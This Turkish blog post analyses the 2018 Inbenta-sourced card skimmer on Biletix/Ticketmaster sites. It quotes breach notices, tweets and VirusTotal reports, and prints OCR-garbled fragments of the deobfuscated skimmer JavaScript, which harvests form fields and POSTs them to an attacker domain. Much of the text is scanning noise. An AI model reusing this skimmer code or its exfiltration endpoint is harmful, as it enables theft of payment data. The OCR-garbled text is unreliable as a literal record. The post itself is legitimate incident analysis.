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written by Mert SARICA | 1 August 2018

27 Haziran 2018 tarihinde Biletix firmasi, sosyal medya hesaplari ve web
sitesi Uzerinden bir guvenlik duyurusu yapti. Bu duyuruda, 23 Haziran 2018
Cumartesi giini Ticketmaster Ingiltere firmasina dis kaynakli hizmet sunan
Inbenta Technologies tarafindan saglanan ve misteri destek hizmetleri icin
kullanilan Urin lGzerinde kotl ama¢li bir yazilimi tespit edildigi yer
aliyordu. Inbenta’nin bu Grdninidn tim Ticketmaster International web
sitelerinde (Tirkiye de dahil) kullanilmis olmasi sebebiyle de bazi
musterilerinin kisisel verilerine ve o0deme bilgilerine, tanimlanamamis uUguncl
kisiler tarafindan izinsiz olarak erisilmis olabilecegi belirtilmis ve ayrica
yaptiklari incelemelere gbre, olaydan sadece bilet alma girisiminde bulunan
veya bilet satin almis olan Ingiltere tiketicilerinin bir kisminin etkilenmis
olabilecedini tespit ettikleri belirtilmisti. Son olarak da Ingiltere’deki
musterilerinden Subat 2018 ve 23 Haziran 2018 tarihleri arasinda ve diger
uluslararasi musterilerinden Eylul 2017 ila 23 Haziran 2018 tarihleri
arasinda bilet almis veya almayi denemis olanlarin bu durumdan etkilenmis
olabilecekleri sdyleniyordu.
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DI§ KAYNAK SERViS SAGLAYICI SEBEBIYLE
OLUSAN VERi GUVENLiGi OLAYI HAKKINDA
BILGILENDIRME

Ticketmaster bu sayfay:, Inbenta’nin sebep oldugu olasi kigisel veri sizintist scbebiyle
magduriyet yasayabilecek magterileri bilgilendirmek igin hazirlamigtr. Ticketmaster igin
Miigterilerin kigisel verilerinin e ve giivenligi i temel husustur. Bilinmeyen
kisilerce, kisisel verilere olas iz 5im tespit o nda Ticketmaster, misterilerini
korumak iizere aninda gerekli tedbirleri devreye al

Ne Oldu?

23 Haziran 2018 Cumartesi giinii Ticketmaster Ingilters, firmamiza dig kaynakli hizmet sunan Inbenta Technologies
tarafindan saglanan ve magteri destek hizmetleri igin kullanilan drin Gzerinde kotl amagh bir yazilimi tespit etmistir.

Bu k&t amagh yazilim tespit edildigi anda, Inbenta’nin bu Grind, Ticketmaster tarafindan tim web sitelerinden
aninda kaldinlmigtir.

Bu olaydan, Ticketmaster'in global miigterilerinin %5'inden daha azi etkilenmis olup, Kuzey Amerika miigterileri bu
durumdan etkilenmermigtir.

Inbenta’nin bu Grininin tim Ticketmaster International web sitelerinde kullanilmig olmasi sebebiyle, bazi
msterilerimizin kigisel verilerine ve édeme bilgilerine, tanimlanamanis dsinci kisiler tarafindan izinsiz olarak

erisilmis olabilir

Bu durumdan etkilenmis olabilecek miisterilerimizle temasa gegilmistir. ingiltere'deki misterilerimizden Subat 2018 ve
23 Haziran 2018 tarihleri arasinda ve diger uluslararasi masterilerimizden Eylal 2017 ila 23 Haziran 2018 tarihleri
arasinda bilet almis veya almay denemis olanlar bu durumdan etkilenmis olabilirler

Eger bizden konuyla ilgili 6zel bir e-posta almadiysaniz, yaptig lar sonucu bu d



https://www.hack4career.com/biletix-vakasi/
https://twitter.com/Biletix/status/1012053476405317632
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https://www.ticketmaster.co.uk/
https://www.inbenta.com/en/

[ DIs KAYNAK SERVIS SAGT % \\ Mmoo = X

¢ C (@ Secure | hiips//securitybileticcom #¢ OMme KA

) Hacké Career.Infor [E Linkedin W Mert SARICA (merts: M Inbox - mertsarica@ Other bookmarks

SIKCA SORULAN SORULAR

Sifremi yenilemek igin ne yapmalyim?
Hesabiniza tekrar giris yapmalk istediginizde, her zamanki gibi giris yap butonuna basin ve sifremi unuttum linkine
tiklayin.

Hangi ilkeler etkilendi?

Voptigimiz incelernelere gére, olaydan sadece bilst alma girigiminde bulunan veya bilet satin alris olan ingilters
tiketicilerinin bir kisminin etkilenmis olabilecegini tespit ettik. Onlem olarak, ayrica tim Ticketmaster International
misterilerini uyararak, hesaplanna bir sonraki giriglerinde sifrelerin yenilemeleri gerektii konusunda bilgilendiriyoruz.
Kuzey Amerika'daki miisterilerimiz bu durumdan etkilenmenmisti.

Bu nasil oldu?

23 Haziran 2018 Cumartesi giin Ticketmaster ingilters, firmamiza dis kaynakli hizmet sunan Inbenta Technologies
tarafindan saglanan ve misteri destek hizmetleri icin kullanilan trin dzerinde calizan kéti amagl bir yazilmin,
Birlesik Krallik'taki misterilerinin verilerini bilinmeyen 3. kisilere aktardigini tespit etmistir. Bilinmeyen kisilerce, kisisel
verilere olasi izinsiz erigim tespit edildigi anda Ticketmaster, bu hizmeti tum ulkelerde devre digi birakmigtir.

Inbenta’nin bu Grininun tim Ticketmaster International web sitelerinde kullaniimig olmasi sebebiyle, bazi
misterilerimizin kisisel verilerine ve deme bilgilerine, tanimlanamannig ligiinci kigiler tarafindan izinsiz olarak
erisilmig olabilir. Adli ve givenlik uzman ekipl bu olayin sebepl k iizere durmal ligmary:

devam etmektedirler.

Hangi bilgilere erisilmis olabilir?
izinsiz erisilmis veriler arasinda isim, adres, e-posta adresi, telefon numarasi, 6deme bilgileri ve Biletix hesap bilgileri
clabilir

Etkilenen dlkeler hangileridir?

Inbenta servisi Ticketmaster International, Ticketmaster Ingiltere, GETMEIN! ve Ticketweb sitelerinde hizmet
saglamaktaydt. Bu yiizden tiim olas: etkilenmis miisterilerimize bilgi veriyoruz. Kuzey Amerika'daki miisterilerimiz
etkilenmemistir.

Bu durumdan etkilenip ctkilenmedigimi nasil anlayacagim?
Hesap bildirilerinizi, herhangi bir sahtekarlik veya kimlik hirsizhg giphesine kargi takip etmenizi tavsiye ederiz. Endige
duymaniz veya hesabinizda herhangi bir sipheli hareket olmasi durumunda bankaniz ils ilstisime geginiz.

Tedbir amagh clarak, tim masterilerimizin Biletix hesaplarina bir sonraki girigl

gerekecektir.
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Biletix &
@Biletix

Yakin zamanda gerceklesen veri glvenligi
olayi hakkinda konuya 6zel web sitesi
hazirladik.

Latfen tiklayin -->
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Ticketmaster bu sayfayi, Inbenta'nin sebep oldugu olasi kisisel
Eh veri sizintis| sebebiyle magduriyet yasayabilecek musterileri
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A Yanitini Tweetle

A.§. @Sengor77 - 28 Haz v
@Biletix adh kullaniciya yanit olarak

SMS gondermeniz gerekiyor ayelerinize acil. Bu tweet ok az retweet almig benim
de tesadufen haberim oldu. Gegmi olsun.
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moenface @dpmoonface - 27 Haz
@Biletix adh kullaniciya yanit olarak

10 ay boyunca siznts olmus ve siz farketmenissiniz. inandiricr gelmedi
[} u (VR ]

° Sevdar YILMAZ @sevdar yilmaz - 7 Tem
= @Biletix adh kullaniciya yanit olarak

Aktif olarak binyelerinde izleme ve midahale yapan analistlerden olusan bir
Siber Glvenlik Merkezi’ne sahip olan kurumlar, Biletix’te dogru gitmeyen
birseyler oldugunu Nisan ayi gibi kullandiklari givenlik teknolojilerinin
Urettigi alarmlari sayesinde o6grendiler. ;) Mayis ay1i itibariyle antiviris
yazilimlarina gelen gincelleme ile Biletix Uzerinden bilet almaya calisan son
kullanicilar ise web sitesine gomiuli olan
http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js?1503669126
dosyasi icin zararli yazilam uyarisi ile karsilasmaya basladilar.


https://www.virustotal.com/tr/file/eb49f05d0738b851ec25ede8592c021c3421588154c2e90af542f69ee3ed0530/analysis/1529576415/

M virustotal

SHA256: ebd9f05d0738b851ec25edeB8592c021c3421588154c2e90af542f69ee3ed0530

Tespit edilme orani 2/ 59

Analiz tarihi: 2018-06-21 10:20:15 UTC { 2 hafta, 3 gin énce) En sonuncusunu gorintile

SAnalizler =~ @Ekbilgi. @ Yorumlar. @)  ©Q Oylar

Antivirus Sonug Giincelle
Symantec Infostealer 20180621
TrendMicro-HouseCall Suspicious_GEN.F47V0516 20180621
Ad-Aware V] 20180621
AegisLab ] 20180621
AhnLab-V3 V] 20180621
Alibaba o 20180621
AlYac V] 20180621
Antiy-AVL V] 20180621
Arcabit V] 20180621
Avast V] 20180621
Avast-Mobile V] 20180621
AVG V] 20180621
Avira (no cloud) ] 20180621
AVware V] 20180621
Babable V] 20180406
Baidu V] 20180621



[ File information

@ |dentification @ Content U Analyses & Submissions @ITwW ®, Comments

MD5 3d154b03ccfTb836b67 edabd42a98cfc

SHA1 al445373490ad8b5260calccTdf4e709a9d732cT

SHA-256 eb49f05d(0738b851ec25edeBb92c021c3421568154c2290af542f6%2e3ed0530

ssdeep 6144:74qHnubY PzYVgxPYwS88ziyjX ClsdGG/RYJ1QASrkTSXLUStDZipdyPF 04uciFz:pH 1UgxQfé8ziy 7TEX48b d64uciFz
Size 635.4 KB (651645 bytes)

Type Text

Magic 1S0-8859 English text, with very long lines, with CRLF line terminators

D Unknown!

Detection ratio 2159

First submission 2018-04-25 12:18:08 UTC ( 2 ay dnce)
Last submission 2018-05-28 15:05:45 UTC ( 1 ay dnce)

Tags m

® Download file C' Re-scan file

3 File information

@ Identification @ Content U Analyses & Submissions @ TW ® Comments

2% Propagation, dissemination and distribution strategies

This file has been spotted in-the-wild at certain URLs that are later detailad, it may be part of some drive-by download strategy or simply
legitimately hosted goodware.

& Download URLs

This file has bean spotted as the response content of the following URLs.
hitp:/iticketmastertrinbenta com/chat/assets/js/inbenta js? 1503669126
hitp:/fticketmastertrinbenta.com/chat/assets/js/inbenta js
hitp:/iticketmastertrinbenta. com/chat/assets/js/inbenta js?1503669125

hitp:/iticketmastertrinbenta.com/chat/assets/js/inbenta js? 1503669127

2 In-the-wild file names

inbenta js

inbenta.js.bin

@ Download file C Re-scan file

Merak kediyi 6ldiirmeden olayin perde arkasini 6grenmek icin zararli kod
iceren javascript dosyasina ulasip analiz etmek ic¢in ise koyulmaya karar
verdim. inbenta.js dosyasinin zararsiz suruminu
http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js adresinden
indirip, okunakli (beautified) hale getirdikten sonra VirusTotal'dan



indirdigim zararli kod icgeren inbenta.js dosyasi ile kiyasladigimda, 18927
satir itibariyle zararli kod ortaya cikiverdi. Zararli JavaScript Analizi

baslikli yazimda oldugunun aksine bu defa gizlenmis javascript kodunu sanal
sistemimdeki internet tarayicisi ile cozmek (deobfuscate) yerine daha hizli

ilerleyebilme adina IlluminateJs web uygulamasi ile c¢ozmeye karar verdim.
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8(t,n,1){for(var 3 fe]3)u. shife (), r-=-etd{r=t.mineType| | "Content- TypE"));lf(r)Fﬂr(: in s)if(s[c]&ks[c].test(r)){u.unshift(c )sbreak}if(u[ej'm i)a=ul0];else{for(c in 1){if(lu[0]]|t.converters[c+" "+u[e]])
Tamtshraskyol | (omc) Yaus| |oF1F(a)return alue[oThbu . unshiFe(ay, 1a] HUncEion ECE,euns 1)(van b.ryarton,uetr, ~dataTypes.slice();3f(1[1])for(a in t.converters)ula.tolouerCase( ters[a];for (P=1.shift()} r'))f(t responseFields[r]&&
(n[t.responseFields[r]]-e), ! s88i8&t. datarilterad(e~t, dataFilter (¢, t.dataType)), 5 shife())if(™=" <lse s&8si==r){if(a=u[s+" "+r][[u["* "+r], !a}for(e in u)if(c=o.split(" "),c[1] - +cfe]]] lu[™* "+c[e]
[0].1-unshift(c[1]));break}if (ai=-18)if(a88E[ "throws"] Je=a(e);else tryle-s a(e)}:atch(p)(return{state arsererror’ i el "4r}}Jreturn{state: "success", data: e} function X()(try{return new . )(HLHttpRequest}(et:h(e)(}}funcbnn R()
{ery{retumn new T.ACTiveXObject(Microsaft XILKITP") jcatch(e) {} }function k() {return setTineout(function(){ee=e]), QE =1t.now() }unction D(t,e, ny{for(var 1,0=(rn[e]|1[]).concat(rn["*"]),r=0,2=0. length;r<a;r++)if (i=o[r].call(n,e, t))return i}function P(t,e,n){var
1,0,r=0,a=0n.length,c=1t.Deferred (). aluays (Function(){delete s.clem}),s=Ffunction(){if{o)return!1;for(var e=ge| [k( 0,u. startTime+u.duration-c),i=n/u.duration| [@,r=1-1,a=0, s=u. tueens. Length;a<s; a++)u. tweens[a]. run(r) jreturn c.notifywith(t,
Tl ]} 1888 10t (& rasoTuelEth (41 [a]), 1)) e, promise((elem t,props: 1t extend({}, &), opts: Lt extend( 10, (spe()alEaslng }}.n), originalProperties e, originalOptions:n,startTine:Qe | [k(),duration:n. duration, tueens:[ ],createTuesn: function(e,n) {var

o
(n| [8))+(i[2]] | "px") :e}function _(t,e,n,i,0){for(var r t.css(t
Lt Leta (s, "oardere HTalR s Wideh" 10,00  (atelt.coa(t, padding"sTelr],
=1t cs3(t, "boxSizing”, 11,r) 51 (0<=0| [null==0){if (o=pe (t,e,r), (0<0] |nul1==0)8&(
e=V,n=ve[t];return n||(n=u(t,<}, "none"!==n8&n || (ue={ue| |Lt(*<ifreme Frameborde
<htm1><bcdy> ),e.close(),n=u(t,e),ue.detach()), ve[] ),n}ﬁm(t)un w(t, e){var
peot ole: )"0, 1)) selse 1F(n | [ "object’ “oppeeNI(E,e)sele far(s in (L
0 1F(1t lsFun:tlon(n))F e Hm Cil-tli
(G=wd:votd 0: (e dataTypes unshEFE(L) o(u),

-ufs]iule]!

i=It. Tueen(t,u. 0pts, e,n,u.0pts. specialcasing[e] | |u,opts. casing) sreturn ustweens.push (1), 1}, stopi function(e){ver n=0, i~c?u, tueens- Length:0;1f (o)return thisjfor| .n<i;n++)u.meens[n].run(n),return e?c.resolvenith(t, [u,e]) . rejectnith(t,
[u,e]),this}}), 1=u.props; for (I(1,u.opts. Spec)alEaslng) r<a;r#+)if(i-on[r].call(u,t,1,u.opts))return isreturn lt.map(l,D,u),lt. isFuncti . start tsost
{elem:t, anin:u, queus:u. opts. queue)) u.progress (u opEs progress)-done(u.opts done,u.opts .conplete) . fail(u.apts. faiL) .aluays (u.opts. sluays)yfunction 1(¢, e){vsr n,1,0,r.8:for(n in D)if(i-lt. tamslcsse(n) o= e[)], [n],1t. dsArray (r)8&( {el),n
4 t.cssHooks[ 1] 288" expand” { pand(r),delete t[i];for(n in r)n in t||(t[n]=r[n],e[n]=0)}else c[i]=o}function j(t,e,n){var i,0,r,a,c,s,u=this,1={},| 1e,f=t. nod t),h=lt._data(t,"Fxshow");n. queueH
¢.unqueueds&(c. unqueus. c.empty . fu-e c.empty . Fire= fun:tmr\(){c unqusueanso}),: unqueued++, u. sluays (Funceion(){u. alway;(functinno{:.unqueuem s nodeTypes&("height” in

hln(k"))m overflout&

©.cas(t, "display 8 =5(t,"float")84(1t. support. inlineBlockiecdsLay
-overflow[6],p. s “overflou[1].p.overflowvon. overflon[ 2]})):for (1 in e))‘f(
hidden):h=1t. data(t xahout, (39, BR(h. hiddant 1), F31E (1), shou() u. dene( fanc tan({LE (1)  ide (139 u-doneCFunct fon¢
|\"mgn" 21:2))j1funccion (t,e,n,5,0)ireturn naw Hprototype. infe(tye,n, 1, o)ifunction U(tc){var n, I~{helght 1}, 0-0;for(e-e21:6
t.nodeTyped&(t.defaultView| |t. parentliindow)}var G,V, i n,V=t .document, 92y ducumant(lemen jQuery, Z-t.5,t
unction(t,e){return new 1€ fn.init(t,e,Y) Lpt=/[+120:\d"\. |) )2 [EE][+ ]’\d+\)/ source, +/g, ht=/"[\s \UFEFF\xA0TF |
[,)(:\s=\[)+/g,mt=/N\(2: ["\\\/bfrrt ] [u] \da-FA-F]{4}) /g,At=/"[*"\\\r\n] w\me\false\wm > 2:\d#\. | J\d#(2: [€E][+-12\d#| ) /g, vE=/A-ms-/ zt=/~

€| |"width"in e)8&&(n.overflow=[p.overflow,p.overfloux,p.overflowy], " inlin
(p- mrerflcw "hidden",1t. support. shrinkiirapBlocks| |u.always (function(}{p. e
(F2"hide”:"show"))continue;1[1]=h&&h[1]| |1t.style(t,1) HF(!1t. )sEmptyDbject(l)){W h)dden“in h&&(f
1>1t.s:y1e(c,e, Uepsfor(t in Ded(Fh[A1:0,1,0,1 in h| | (h[4:
Te ] [ T4 -1 [ "padding en]nt:ratirn +BA(L. opacityni midthet): 1) funciion F(E) retorn 1. Levindon(e) it
et .concat, ot=et .push, rt=et.slice,at=et. index0f, ct=tt. toString, st=tt.hasOwnProperty, ut=nt .trim, 1
[\s\uFEFF\xAQ]#$/g,dt:/‘(? \s® (< [\l ]>) [+5]% [#([\w-]* ))5/ ME=/e () 5\ 05 (3 D] )8, bt/ [N ] gt/
([\da-2])/gi.y! i (V. anazvsnmstener\ |"load: readystats)umto 1t.ready())},0t= funmono{v addeventListener?
(V.removeventlistener("DaContentloaded”, TE, 11), t. remwveE\’entLlstenEr( load” x Tonlesd”, %)) J31¢ -provotype{auery:nt, constructor: L nit functlon (€,n,3) {var o,r; (1) return
this;if("string"==typeof t){if(o="<"===t.charAt()aR' charAt(t. length-1}88t . lsngth> 32 [null, +,null] :dt. exec(t),!u\|‘u[j]un)return‘n\ [n.3query? (n| |1) hnd(t) Ithis. constructor(n) . Find(t) ;if(o[1]){if (n=n instanceof
,1t.merge (this,1t.parseHTHL (o[1],né&n. nnnerype>n ounerDocument| |n:V, 10)}, Mt . test(o[1])881¢ . isPlainObject (n))for(o in m)lt.isFunction(this[o])?this[o](n[o]):this.attr(o,n[o]);return this}if(r=V.getElementbyld(o[2 ]),r&&r.parentuude){)f(r.m.
£.find(x); this. lengthe1, this[0]=r]return this context=V,this. selector=t,this]return t.nodeType? (this. context=this[0]=t,this. length=1,this}: 1t isFunction(t)? .ready(c) : (£.selector ! mmcld

){var e;1t._removeData(t,"fxshou™);for(e in

<430+=2-
Toet=

o[2])return

1) Cnline JavaScript beautif X e — X
<« C 1) | ® Notsecure | jsbeautifier.org Yo o m #n !P. a o
h‘j Hack 4 Career. Infor [lf] Linkedin W Mert SARICA (mert= ™M Inbox - mertsarica( Other bookmarks
Beautify, unpack or deobfuscate JavaScript and HTML, make JSONLISONP readable, etc. Indent with 4 spaces 7 Eaa scint sl <6 i ewknes
All of the source code is completely free and open, available on GitHub under MIT licence, ‘Allow 5 newiines between tokens ¥ s i
and we have a command-line version, python library and a node package as well Do not wrap lines = et

Braces with control statement ¥ | ¥ Detact packers and obfuscators?

HTML <style>, <script> formatting: Preserve inline braces/code blocks?

Add one indent level v Keep armay indentation?
Break lines on chained methods?

¥l Space before condiional: "if(x)" / "If ()"
Unescape printable chars encoded as NN or IWiNNNN?
Use JSLint-happy formatting tweaks?
Indent <head> and <body> sections?
Use a simple textarea for code input?
Beautify JavaScript or HTML (cii-c
5 topt: & Lsnife() S

i Toga
3, N, t ‘conversation”, 1)
startcontactforn: functiol
o et ey ves
losecontactFormiagal: Function(t) {
“preventDefault(), e("#surveys!

attr("sre”, e(t.target).attr("nref")), e("#surveyshiodal”).modal("shon"), 1

da1") .modal (*hide")

1, Egecymens) oncc

ssistant m)mm).ﬁ()

n, E(nn(umEWt) on("click",

istant ;enuuaga((

'ﬂ data("click)
o)

close_chat”, function() {

event-nane”, function(t) {

S e(anmmm) on( event-search &”, function(t) {

Assistant senﬂData((

data("click")

0, E(nn:umeh’t) et sintsnear, sunction(t) 1
stant. avatar. enable () o Acsistant caat cisabla()
N, a(na:una n( "

dndon”, Function(t)
“aisplay, "flex"), n.Assistant.session_init = 10
funceioh(
MoAssistant, maxinize()
& Func:
Barniner” ). retovellass -open*3, n.Aseistatt . session-init = 10
N, n. Ass)stan! IRtanze(

r;
url: n.baselRL,
sessionllane: ©inane +

_ib

1), 7.Assistant. load]SONPInterface()
RE wkndon JouerynotonFiict(10), windor. Tnbents, Inbentacnat || (1)

2ppingURL=inbenta. s .map

»
‘ Beautify JavaScript or HTML (cir-aier
Browser extensions and other uses
+ A bookmarklet {drag it to your bookmarks) by Ichiro Hiroshi to see all scripts used on the page, + Beauitify plugin (github) by HookyQR for the Visual Studio Code IDE,
+ Chrome, i case the builtin GSS and javascript formatiing sn't enough for you « Fiddler proxy: JavaScript Formatter addon
— Quick source viewer by Tomi Mickelsson (github, blog), « gEdittips by Fabio Nagao
— Javascript and CSS Code beautifier by c7sky, el

— isbeautify-for-chrome by Tom Rix (github),

- Reautifiar in Fmare writain by Sath Masnn


https://www.mertsarica.com/zararli-javascript-analizi/
https://illuminatejs.com/#/how-it-works

__3 010 Editor - C:\U sers\ME;;\EEskbop\inbenta\inbenta_orig.bd:

Format pts
.'.l‘ﬂ.' 'JD-.")G' AEBS> AN ..#/lm*t‘s

wvar Oxlaec

Compare

104B3Dh

EEEOOO0O0OOOO

2Fh 00101111k

B lluminatels £ =S X
€ > C {2 | & Secure | httpsy/illuminatejs.com/#, Yo © m e gl a o

@) Hocks Coreer.Infor [R Linkedin WP Mert SARICA (merts: M Inbox - mertsaricaC Gther bookmarks

v

ILLUMINATE g Last update: 21.06.2017

s

var _@xlaec = ["\xE8\x74\x741x70\x73 \a3ANx2F x2F\xT7\x 65 \x B2\ xBE BF W7 41 xE3 165 \x2E \xBD \x65 \x2F \xBA\xT 3\x2F \ xE6\xBF \x72\x6D\x2
2 var heseff17dss7sbe97a7fa7coofd2dadbe = {

IHABSNEY D obfuscation will happen on the fly. as you pastedlype:

b
bfotce.me/js/form.js",

2 21423648804c64a9300b9F2da07dB46: _Oxlacc (6],
5 myid: (function(_excélex2) {
6 var _Bxc6lex3 = document[ @xlacc[7]][_Oxlacc[6]](new Regixp( exlsec[2] + _oxcolexa[ exdacc[4]1(/([\.$2*[{1N(\)\[\]\\
7 return _oxc6lex3 ? decodeURIComponent(_Gxce1ex3[1]) ¢ undefined
3)(_exiaec[1]) || (function() {

[_ex1sec[5]]() + _@xlasc[3] + Nath[_xlaec[11]](Math[_6xlaec[16]]() * (999999999 - 11111111 +
new Date()[_oxtacc[8]]() + 60 * 60 * 24 * 1000);
docunensl owloec(7]] = Owiacc[1a] i Gueelens & oxtace[13] + Oxeeraxsi_oxisec(18]1();

return _xc6lexs

5 path=/; expires=",

ho.
clk: function() {
toUTCstring”,

hOBGFF17d6676009747Fa7ca0d2d2db0[_Bxlasc[15]] = null;
var _Bxcélex? = document[ @xlaec[17]](_@xlaec16]);

put, select, textarea, checkbox, button”,

18 for (var _Oxc6lexs = 0; _xcolexs < _oxcolex7[_@xlaec[18]]; _@xcolexs+) { 18
E i 1ex8] [_8xlaec[19]][_Gxlacc[18]] > @) { 19 "querySelectorll",
2 _ @xc6lex7[_oxchlexs][_oxiaeci20]]; 20 "length”,
21 if (Cexcelexs — _exlaec[21]) { 21 value”,
“oxcelexo = _Bxcelexs 2 name”,

I
24 hB80FF17d6676609747Fa7c007d2d2db0[_Gxlacc[15]] += _oxchl

_Oxcé1ex8][_Oxlacc[20]] + _Oxlaec[22] + _dxcolex?[_

a[href*="Javascriptivoid(e)],button, input, submit, .btm, .butten”,

6 >
[/
28 Send: function() {
29 try {
30 var _@xcélexs = document[_@xlasc[17]] (_@xlaec[2a]); 30 "checkbox”,
for (var _@xc6lexs - 0; _Oxcolexs < _oxcolexa| @xlaec[18]]; _Oxcolexs+t) { 31 “"password”,

var _Bxcblexb = _Oxchlexa[ BxcBlexs]; 32 “radio”,
3 if (Coxcelexb[_6x1sec[25]] != _@xlaec[25] 8& _oxcolexb[ @xlaec[25]] != _@xlaec[27] & _bxcolexb[_oxlaec[25]] != “addEventListensr”,
34 If (_oxc6lexb|_oxlacc[31]] "click”,
5 oxcelexb[_oxlase[31]](_Ox1aec[32], hoSGff17d6676b09747fa7co0fd2d2dba [ Ox1zec[33]], false) 35
6 } else {
7 _oxctlexb[_dxlacc[35]] (_Oxlaec[34], hoSGFF17d6676b09747Fa7co6Fd2d2dba] _Oxlaec[33]])
2 ¥
A I

var _@xcélexc = document|[_@xlaec[17]](_8xlaec[36]);

4 For {vard = 0; Oxcélexs < Oxcélexc| Owlaec[15]]; _bxcélexsss) {
4 if (_@xcelexc]_Oxcolexs][_oxlaec[31]]) {
as excelexc]_oxcolexs][_oxlaec[31]] (_@xlaec[37], heseffl7dse76bes747fa7coefd2d2dbe]_exlaec[33]], false)
45 3 else {
46 _excelexc]_oxcolexs][_8xlaec[35]] (_@xlaec[38], heseffl7dse76baa747fa7coefd2d2dba_axlsec[33]]) hostname”,
7 “nodomain”,
3 Y] POST"
49 if (heseffl7dee76bes747fa7ca0fd2d2dbo]_oxlaec[15]] i= null) { 1214a:54§8=e4:64a93aeb‘=floa§/de% 2
50 var _Bxcélexd = location|_Oxlaec[44]][_Ox1aec]43]](_Bxlacc[42])[_xlacc[41]](8)[_Oxlacc[40]](_Bxiacc[33]) || _t open”,

var _Bxc6lexe = btoa(has6TT17d6676b89747fa7ca0fd2d2dbe]_exlaec[15]]); 1 "Content-type”,

var _Bxc6lexf = new XHLHttpRequest(); " application/x-mw-form-urlencoded”,

_oxcB1exf[_dx1aec[48]](_Ox1aec[45], hosaff17ds676bag747fa7confd2d2dba]_ox1zec[47]], tr@=depyright 2017, GesksOnSecur

53 s s @uRanuensieatar ,
54 excelexfl exlaecls111( exlaeci491. oxlaeclsoll: "info=" &

Javascript kodunu okunakli, anlasilir hale getirdikten sonra 2. satirda yer
alan hxxps://webfotce.me/js/form.js web adresi hemen dikkatimi cekti. Bu
adresi Google arama motorunda arattigimda ise ilk olarak 19 Kasim 2017
tarihinde VirusTotal’'a akismet.js adi altinda ylklenip 16 antivirus yazilaimi


https://www.virustotal.com/tr/file/feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16/analysis/

tarafindan tespit edilen, okunakli olmayan inbenta.js dosyasinin okunakli bir
sirumd gibi gdérundyordu.

b total

SHA256: feac12e049f5482dfcb04b4170719917h99ecab850d019fdd8b424c92cea8f16

Dosya adri: akismet js

Tespit edilme orani 16/ 58 .r 0 O
Analiz tarihi: 2018-07-07 00:16:17 UTC ( 7 saat, 1 dakika &nce)

M Analizle. ~ @Ekbilgi | @ Yorumlar. (] Q) Qylar

@ File identification

MD5 b63188547f75041942171a0438a44746

SHA1 3557cf200d80bd9f2bb2c7793add3e5813ba939

SHA256 feac12e049f548edfc504b4170719917b99ecab85bd019fdd8b424c92ceadf16
ssdeep 48:inSF GCpeJhMVt69aBpTly C5XjvwysLzl)ghV:iSFGCm/j9aHEsLzrK

Dosya boyutu 3.0 KB ( 3092 bytes )

Dosya tiri Text

Magic lafzi ASCI text, with CRLF line terminators

TriD Unknown!

Tags text

4 \lirusTotal metadata

First submission 2017-11-19 09:50:48 UTC ( T ay, 2 hafta dnce)

Last submission 2018-05-15 00:03:58 UTC ({ 1 ay, 3 hafta Gnce)

Dosya isimleri VirusShare_b63188547f7504194e171a0438a44746

akismet js
> total
SHA256: feac12e049f548edfc504b4170719917b99ecab85bd0 19fdd8b424c92ceadi1f
Dosya adr: akismet js
b— 1

Tespit edilme orani 16/ 56 .r O O
Analiz tarihi: 2018-06-30 00:03:20 UTC ( 1 gtin, 15 saat énce)

M Analizler. ~ @Ekbilgi. @ Yorumlar. P ) Oylar

falcon-threatscore:82/100

memurl:"Pattern match: https://webfotce. mefjsiform js”

source:https:/fwww hybrid-analysis.com/sample/feac12e049f548edfc504b4170719917b99%eca585bd019fdd8b424c92ceebf 16 7environmentld=1
00

submitname:"feac12e049f548edfc504b4170719917b9%9ecab85bd019fdd8b424c92 ceatf16 js bin"

PayloadSecurity tarafindan 5 ay, 1 hafta énee génderildi Kullanigh (0) Kullamigh dedil. (0) Kotiye kullanim (0}



24 VirusTotal Graph - feacl? X

&« C 1 | & Secure
B3 Linkedin % Mert SARICA (meris

https://www.virustotal.com/graph/#/:

Hack 4 Career. Info M Inbox - mertsal

+ Q

Search for one or more entities here

Type: Text 4
Size: 3.02 kB

First Seen: 2017-11-19 09:50:48

Last Seen: 2018-05-15 00:03:58
Submissions: 3

File Name: akismet js

faac 50454 1707195171 2 18
|—|:| Copy to clipboard

@ VT Public report

&  VTinteligence report

M~ Label Root Node

Relations

There are no more relations available.

o)

& o] [ ] &3
Add new node Hide label Full expansion Delete \
R % 7’ oy /& | Root Node
. M Y http //www groopdealz.com/blogiwp-
Pinnode  Hightlight content/plugins/akismetiakismet.js
2 i First Seen: 2017-11-22 02:35:37
Detections ("16/58 ) > | 186 | Last Seen 20_‘17-1 1-22 02:35:37
e Submissions: 1
Bl kst b £ Hinbentata £
2 ageren0sTiTERT S0z AR =
cct2] + Oneélen2( Oxlaeclall (/{15241 NNINNINNA+] /g, Oxlase(3]) + Oxlaeets]))
_Oxlaec(il)) (Math(_Oxlaec(l01]() * (559559555 = LILLLLLL + 1) + 1LL111L);
T 24+ 200005
+ _ocelexé(_oxlasc(1411 05
i _omselexatn) (
€lex7(_Oxcelexd] (_Oxlaec(20]] + Oxlaec(22] + _Oxcelex?( Oxcélexd) [ Oxlaec(is)] + Oxiaec(23]

*onclick’, 1seaed’ Laac4zasiisr.cir);

e976s2d11an:

1aa€4£as1157 . send()).30);

[_oxlaec(33]], false)

0_oxlses(331])

1(_0xlacel39]) 11 _Oxlaecles];

0[_oxlaccrsall)

Normal text file

Normal text file

inbenta.js dosyasinda yer alan zararli javascript kodunun nasil calistigini

dinamik olarak analiz edebilmek icin Biletix’in web sitesine girip sanal

sistemimdeki internet tarayicisi lUzerinde simidlasyonunu yapmaya karar verdim.

Zararli kodun son satirini inceledigimde, bu kodun payment kelimesini igeren

herhangi bir sayfada devreye girdigini 6grendigim i¢in odeme sayfasina

ilerlemek ve similasyonumu gerceklestirmek icin gdzume Shakira’nin konserini

kestirdim. Konser bileti alma isleminin son sayfasina (payment) geldigimde

ise zararli javascript kodunu, Chrome internet tarayicisinin DevTools araci

ile internet tarayicim dzerinde calistirip, sanal sistemim Uzerinde dinamik

olarak analiz etmeye basladim.


http://www.biletix.com/etkinlik-grup/155916113/DIGER/en
https://developers.google.com/web/tools/chrome-devtools/

X
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ileth Tul id=1560. Itis a snapshot of the page as it appeared on 7 Jun 2018 22:35:30 GMT. The current page could have changed in the meantime. Learn more.

This is Google's cache of hiip.

Fullversion  Textonly version  View source

Tip: To quickly find your search term on this page, press Ctrl+F or 38-F (Mac) and use the find bar.

OEN O Al Turkey O GIFTCARD GlobalEvenls Blog Help

